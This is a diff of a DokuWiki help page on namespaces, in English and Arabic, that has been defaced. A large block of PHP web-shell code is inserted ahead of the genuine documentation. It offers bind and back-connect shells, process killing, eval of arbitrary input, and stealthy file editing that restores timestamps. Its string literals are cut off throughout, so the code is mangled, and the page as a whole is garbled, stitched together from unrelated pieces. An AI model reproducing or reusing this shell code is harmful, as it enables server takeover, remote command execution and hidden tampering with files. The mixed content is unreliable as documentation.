+ | if (!empty($bcsubmit)) | ||
+ | { | ||
+ | echo "< | ||
+ | $v = $bcsrcs[$bc[" | ||
+ | if (empty($v)) {echo " | ||
+ | else | ||
+ | { | ||
+ | $srcpath = $tmpdir.$bc[" | ||
+ | $w = explode(" | ||
+ | $ext = $w[count($w)-1]; | ||
+ | unset($w[count($w)-1]); | ||
+ | $binpath = $tmpdir.join(" | ||
+ | if ($ext == " | ||
+ | @unlink($srcpath); | ||
+ | $fp = fopen($srcpath," | ||
+ | if (!$fp) {echo " | ||
+ | else | ||
+ | { | ||
+ | $data = base64_decode($bndsrcs[$bind[src]]); | ||
+ | | ||
+ | | ||
+ | if ($ext == " | ||
+ | $v[1] = str_replace(" | ||
+ | $v[1] = str_replace(" | ||
+ | $v[1] = str_replace(" | ||
+ | $v[1] = str_replace("//","/", | ||
+ | | ||
+ | echo "Now script try connect to " | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | ?>< | ||
+ | foreach($bndportsrcs as $k=>$v) {echo "< | ||
+ | ?></ | ||
+ | < | ||
+ | foreach($bcsrcs as $k=>$v) {echo "< | ||
+ | ?></ | ||
+ | Click " | ||
+ | } | ||
+ | } | ||
+ | if ($act == " | ||
+ | { | ||
+ | echo "< | ||
+ | if ($win) {echo "This function not work in Windows!< | ||
+ | else | ||
+ | { | ||
+ | if ($pid) | ||
+ | { | ||
+ | if (!$sig) {$sig = 9;} | ||
+ | echo " | ||
+ | $ret = posix_kill($pid, | ||
+ | if ($ret) {echo "ok. he is dead, amen."; | ||
+ | else {echo " | ||
+ | } | ||
+ | $ret = myshellexec(" | ||
+ | if (!$ret) {echo " | ||
+ | else | ||
+ | { | ||
+ | $ret = htmlspecialchars($ret); | ||
+ | while (ereg(" | ||
+ | | ||
+ | $head = explode(" | ||
+ | | ||
+ | if (empty($ps_aux_sort)) {$ps_aux_sort = $sort_default; | ||
+ | if (!is_numeric($ps_aux_sort[0])) {$ps_aux_sort[0] = 0;} | ||
+ | $k = $ps_aux_sort[0]; | ||
+ | if ($ps_aux_sort[1] != " | ||
+ | else {$y = "<a href=\"" | ||
+ | | ||
+ | { | ||
+ | if ($i != $k) {$head[$i] = "<a href=\"" | ||
+ | } | ||
+ | $prcs = array(); | ||
+ | | ||
+ | { | ||
+ | if (!empty($line)) | ||
+ | { | ||
+ | echo "< | ||
+ | $line = explode(" | ||
+ | | ||
+ | $line = array_slice($line, | ||
+ | if ($line[0] == get_current_user()) {$line[0] = "< | ||
+ | | ||
+ | | ||
+ | echo "</ | ||
+ | } | ||
+ | } | ||
+ | | ||
+ | | ||
+ | $v = $ps_aux_sort[0]; | ||
+ | | ||
+ | if ($ps_aux_sort[1] == " | ||
+ | $tab = array(); | ||
+ | | ||
+ | $tab = array_merge($tab, | ||
+ | echo "< | ||
+ | | ||
+ | { | ||
+ | echo "< | ||
+ | foreach($k as $v) {echo "< | ||
+ | echo "</ | ||
+ | } | ||
+ | echo "</ | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | if ($act == " | ||
+ | { | ||
+ | if (!empty($eval)) | ||
+ | { | ||
+ | echo "< | ||
+ | $tmp = ob_get_contents(); | ||
+ | $olddir = realpath(" | ||
+ | @chdir($d); | ||
+ | if ($tmp) | ||
+ | { | ||
+ | | ||
+ | | ||
+ | $ret = ob_get_contents(); | ||
+ | $ret = convert_cyr_string($ret," | ||
+ | | ||
+ | echo $tmp; | ||
+ | if ($eval_txt) | ||
+ | { | ||
+ | $rows = count(explode(" | ||
+ | if ($rows < 10) {$rows = 10;} | ||
+ | echo "< | ||
+ | } | ||
+ | else {echo $ret."< | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | if ($eval_txt) | ||
+ | { | ||
+ | echo "< | ||
+ | eval($eval); | ||
+ | echo "</ | ||
+ | } | ||
+ | else {echo $ret;} | ||
+ | } | ||
+ | @chdir($olddir); | ||
+ | } | ||
+ | else {echo "< | ||
+ | echo "< | ||
+ | } | ||
+ | if ($act == " | ||
+ | { | ||
+ | if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != " | ||
+ | { | ||
+ | if (file_exists($d.$f)) {echo "< | ||
+ | else {echo "< | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | $r = @file_get_contents($d.$f); | ||
+ | $ext = explode(" | ||
+ | $c = count($ext)-1; | ||
+ | $ext = $ext[$c]; | ||
+ | $ext = strtolower($ext); | ||
+ | $rft = ""; | ||
+ | foreach($ftypes as $k=>$v) {if (in_array($ext, | ||
+ | if (eregi(" | ||
+ | if (empty($ft)) {$ft = $rft;} | ||
+ | $arr = array( | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | ); | ||
+ | echo "< | ||
+ | foreach($arr as $t) | ||
+ | { | ||
+ | if ($t[1] == $rft) {echo " <a href=\"" | ||
+ | | ||
+ | else {echo " <a href=\"" | ||
+ | echo " (<a href=\"" | ||
+ | } | ||
+ | echo "< | ||
+ | if ($ft == " | ||
+ | { | ||
+ | echo "< | ||
+ | if (!$win) | ||
+ | { | ||
+ | echo "< | ||
+ | $tmp = posix_getpwuid(fileowner($d.$f)); | ||
+ | if ($tmp[" | ||
+ | else {echo $tmp[" | ||
+ | $tmp = posix_getgrgid(filegroup($d.$f)); | ||
+ | if ($tmp[" | ||
+ | else {echo $tmp[' | ||
+ | } | ||
+ | echo "< | ||
+ | $fi = fopen($d.$f," | ||
+ | if ($fi) | ||
+ | { | ||
+ | if ($fullhexdump) {echo "< | ||
+ | else {echo "< | ||
+ | $n = 0; | ||
+ | $a0 = " | ||
+ | $a1 = ""; | ||
+ | $a2 = ""; | ||
+ | for ($i=0; $i< | ||
+ | { | ||
+ | $a1 .= sprintf(" | ||
+ | | ||
+ | { | ||
+ | case 0: $a2 .= "< | ||
+ | case 32: | ||
+ | case 10: | ||
+ | case 13: $a2 .= "& | ||
+ | default: $a2 .= htmlspecialchars($str[$i]); | ||
+ | } | ||
+ | $n++; | ||
+ | if ($n == $hexdump_rows) | ||
+ | { | ||
+ | $n = 0; | ||
+ | if ($i+1 < strlen($str)) {$a0 .= sprintf(" | ||
+ | $a1 .= "< | ||
+ | $a2 .= "< | ||
+ | } | ||
+ | } | ||
+ | //if ($a1 != "" | ||
+ | echo "< | ||
+ | } | ||
+ | | ||
+ | if ($base64 == 1) | ||
+ | { | ||
+ | echo "< | ||
+ | $encoded = base64_encode(file_get_contents($d.$f)); | ||
+ | } | ||
+ | | ||
+ | { | ||
+ | echo "< | ||
+ | $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); | ||
+ | } | ||
+ | | ||
+ | { | ||
+ | echo "< | ||
+ | $encoded = base64_encode(file_get_contents($d.$f)); | ||
+ | $encoded = substr(preg_replace(" | ||
+ | } | ||
+ | | ||
+ | { | ||
+ | $text = file_get_contents($d.$f); | ||
+ | $encoded = base64_decode($text); | ||
+ | echo "< | ||
+ | if (base64_encode($encoded) != $text) {echo " (failed)"; | ||
+ | echo "</ | ||
+ | } | ||
+ | if (!empty($encoded)) | ||
+ | { | ||
+ | echo "< | ||
+ | } | ||
+ | echo "< | ||
+ | < | ||
+ | < | ||
+ | < | ||
+ | < | ||
+ | < | ||
+ | } | ||
+ | elseif ($ft == " | ||
+ | { | ||
+ | if ($white) {@ob_clean(); | ||
+ | echo $r; | ||
+ | if ($white) {exit;} | ||
+ | } | ||
+ | elseif ($ft == " | ||
+ | elseif ($ft == " | ||
+ | elseif ($ft == " | ||
+ | { | ||
+ | echo "< | ||
+ | $v = explode(" | ||
+ | echo $v[0]."< | ||
+ | | ||
+ | echo "</ | ||
+ | } | ||
+ | elseif ($ft == " | ||
+ | { | ||
+ | $ext = explode(" | ||
+ | $c = count($ext)-1; | ||
+ | $ext = $ext[$c]; | ||
+ | $ext = strtolower($ext); | ||
+ | $rft = ""; | ||
+ | | ||
+ | { | ||
+ | if (in_array($ext, | ||
+ | } | ||
+ | $cmd = str_replace(" | ||
+ | echo "< | ||
+ | } | ||
+ | elseif ($ft == " | ||
+ | elseif ($ft == " | ||
+ | { | ||
+ | if (ereg(" | ||
+ | { | ||
+ | $arr = explode(" | ||
+ | if (count($arr == 18)) | ||
+ | { | ||
+ | | ||
+ | echo "< | ||
+ | if ($dbms == " | ||
+ | if ($dbms == " | ||
+ | else {echo "But, you can't connect to forum sql-base, because db-software=\"" | ||
+ | echo " | ||
+ | | ||
+ | | ||
+ | echo "</ | ||
+ | } | ||
+ | } | ||
+ | echo "< | ||
+ | if (!empty($white)) {@ob_clean(); | ||
+ | | ||
+ | if (!empty($white)) {exit;} | ||
+ | echo "</ | ||
+ | } | ||
+ | elseif ($ft == " | ||
+ | { | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | echo $r; | ||
+ | exit; | ||
+ | } | ||
+ | elseif ($ft == " | ||
+ | { | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | exit; | ||
+ | } | ||
+ | elseif ($ft == " | ||
+ | { | ||
+ | $inf = getimagesize($d.$f); | ||
+ | if (!$white) | ||
+ | { | ||
+ | if (empty($imgsize)) {$imgsize = 20;} | ||
+ | $width = $inf[0]/ | ||
+ | $height = $inf[1]/ | ||
+ | echo "< | ||
+ | $sizes = array(" | ||
+ | foreach ($sizes as $v) | ||
+ | { | ||
+ | echo "<a href=\"" | ||
+ | if ($imgsize != $v ) {echo $v;} | ||
+ | else {echo "< | ||
+ | echo "</ | ||
+ | } | ||
+ | echo "< | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | @ob_clean(); | ||
+ | $ext = explode($f," | ||
+ | $ext = $ext[count($ext)-1]; | ||
+ | header(" | ||
+ | readfile($d.$f); | ||
+ | exit; | ||
+ | } | ||
+ | } | ||
+ | elseif ($ft == " | ||
+ | { | ||
+ | if (!empty($submit)) | ||
+ | { | ||
+ | if ($filestealth) {$stat = stat($d.$f); | ||
+ | $fp = fopen($d.$f," | ||
+ | if (!$fp) {echo "< | ||
+ | else | ||
+ | { | ||
+ | echo "< | ||
+ | | ||
+ | | ||
+ | if ($filestealth) {touch($d.$f, | ||
+ | $r = $edit_text; | ||
+ | } | ||
+ | } | ||
+ | $rows = count(explode(" | ||
+ | if ($rows < 10) {$rows = 10;} | ||
+ | if ($rows > 30) {$rows = 30;} | ||
+ | echo "< | ||
+ | } | ||
+ | elseif (!empty($ft)) {echo "< | ||
+ | else {echo "< | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | | ||
+ | | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | "/ | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | "/ | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | "/ | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | "/ | ||
+ | "/ | ||
+ | "/ | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | "///// | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | "/ | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | "///// | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | "/ | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | "///// | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | "/ | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | "///// | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | "/ | ||
+ | "/ | ||
+ | "/ | ||
+ | "/ | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | ); | ||
+ | //For simple size- and speed-optimization. | ||
+ | | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | ); | ||
+ | if (!$getall) | ||
+ | { | ||
+ | header(" | ||
+ | header(" | ||
+ | header(" | ||
+ | header(" | ||
+ | header(" | ||
+ | foreach($imgequals as $k=>$v) {if (in_array($img, | ||
+ | if (empty($images[$img])) {$img = " | ||
+ | if (in_array($img, | ||
+ | echo base64_decode($images[$img]); | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo(" | ||
+ | natsort($images); | ||
+ | $k = array_keys($images); | ||
+ | echo "< | ||
+ | foreach ($k as $u) {echo $u.":< | ||
+ | echo "</ | ||
+ | } | ||
+ | exit; | ||
+ | } | ||
+ | if ($act == " | ||
+ | ?> | ||
+ | </ | ||
+ | < | ||
+ | < | ||
+ | <br> | ||
+ | <TABLE style=" | ||
+ | <tr> | ||
+ | < | ||
+ | < | ||
+ | </tr> | ||
+ | </ | ||
+ | < | ||
+ | < | ||
+ | < | ||
+ | </ | ||
+ | //add php tags before usage | ||
+ | |||
+ | ?> | ||
+ | |||
+ | ===== Creating Namespaces ===== | ||
+ | |||
+ | You don't need to create namespaces separately; simply create pages with colons in the [[pagename]]. The token after the last colon will be the name of the page itself, while all other tokens are namespaces. All namespaces used in your pagename that don't exist already will be created by DokuWiki automatically. | ||
+ | |||
+ | (In DokuWiki pages are created as in every other wiki. Simply create a link to a non existing page, follow this link, and click on Create this page.)[[.: | ||
+ | |||
+ | |||
+ | ^Examples: | ||
+ | |example\\ .example\\ .: | ||
+ | |: | ||
+ | |..example\\ ..: | ||
+ | |wiki: | ||
+ | |ns1: | ||
+ | |.ns1: | ||
+ | |..ns1: | ||
+ | |.ns1: | ||
+ | |||
+ | |||
+ | ===== Deleting Namespaces ===== | ||
+ | |||
+ | When all pages inside a namespace are removed the namespace logically doesn’t exist anymore. DokuWiki usually deletes the now empty directory as well. | ||
+ | |||
+ | |||
+ | ==== الطريق المختصر ==== | ||
+ | |||
+ | من أجل إعادة تسمية الأسماء يدويا عليك : | ||
+ | |||
+ | * | ||
+ | | ||
+ | س | ||
+ | | ||
+ | س | ||
+ | | ||
+ | * | ||
+ | | ||
+ | * | ||
+ | | ||
+ | |||
+ | على سبيل المثال ، على مضيف يونيكس ، هل يمكن أن : | ||
+ | |||
+ | * | ||
+ | ام / dokuwiki_base / صفحات البيانات / / old_namespace / dokuwiki_base / صفحات البيانات / / new_namespace | ||
+ | * | ||
+ | ام / dokuwiki_base / البيانات / وسائل الاعلام / old_namespace / dokuwiki_base / البيانات / وسائل الاعلام / new_namespace | ||
+ | * | ||
+ | | ||
+ | * | ||
+ | | ||
+ | |||
+ | علما بأن old_namespace و / أو بعبارة new_namespace قد تحتاج إلى ترميز إذا كانت على غير مجموعة الأحرف اللاتينية (أي اليونانية والروسية ، الخ). | ||
+ | |||
+ | * | ||
+ | | ||
+ | |||
+ | * | ||
+ | | ||
+ | |||
+ | ومع ذلك ، لا يزال لديك الكثير من خردة اليسرى حولها. على سبيل المثال في البيانات / changes.log ، مخبأ تحت مختلف الملفات (بما في ذلك ملفات. idx ، الخ). إذا كان ذلك ممكنا هل يمكن أن نبدأ من دولة فارغة على النحو التالي (مرة أخرى تحت يونكس) ولكنه حذر من أن هذا لن يعني فقدان كل ما تبذلونه من المعلومات التاريخية (أي التغييرات الأخيرة) : | ||
+ | |||
+ | * | ||
+ | | ||
+ | * | ||
+ | | ||
+ | * | ||
+ | | ||
+ | * | ||
+ | | ||
+ | * | ||
+ | | ||
+ | * | ||
+ | | ||
+ | |||
+ | شروط : أنا أفهم هذا هو ملتف (وربما فاتني / افسدت زوجين من الأشياء التي ينبغي عليك أن تفعل). كل شيء في كل هذا هو بيتا. يمكنك أيضا استخدام زوجين من الإضافات التي تتوفر ل(إعادة) بناء searchindex ليكي كاملة ، ومحو ذاكرة التخزين المؤقت بأكمله و / أو التنقيحات ويكي القديمة وبالتالي تجنب القيام بذلك يدويا. | ||
+ | |||
+ | |||
+ | ==== المساعد الطريق ==== | ||
+ | |||
+ | يمكنك استخدام طرف ثالث [[plugin: | ||
+ | |||
+ | ===== Namespace Default Linking ===== | ||
+ | |||
+ | It is possible to link to a default file of a namespace ending the linkid | ||
+ | with a colon: %%[[foo: | ||
+ | existance of certain named files. For %%[[foo: | ||
+ | checked: | ||
+ | |||
+ | < | ||
+ | foo: | ||
+ | foo:bar:bar | ||
+ | foo:bar | ||
+ | </ | ||
+ | |||
+ | The pages are checked in that order and whatever page is found first will be | ||
+ | linked to. Autoplural linking is not done for those links | ||
+ | |||
+ | :!: **This feature is only available in 2006-09-28 RC1 version and above.** | ||
+ | |||
+ | //ARF// |
ar/namespaces.txt · آخر تعديل: 2015-08-01 21:24 بواسطة ach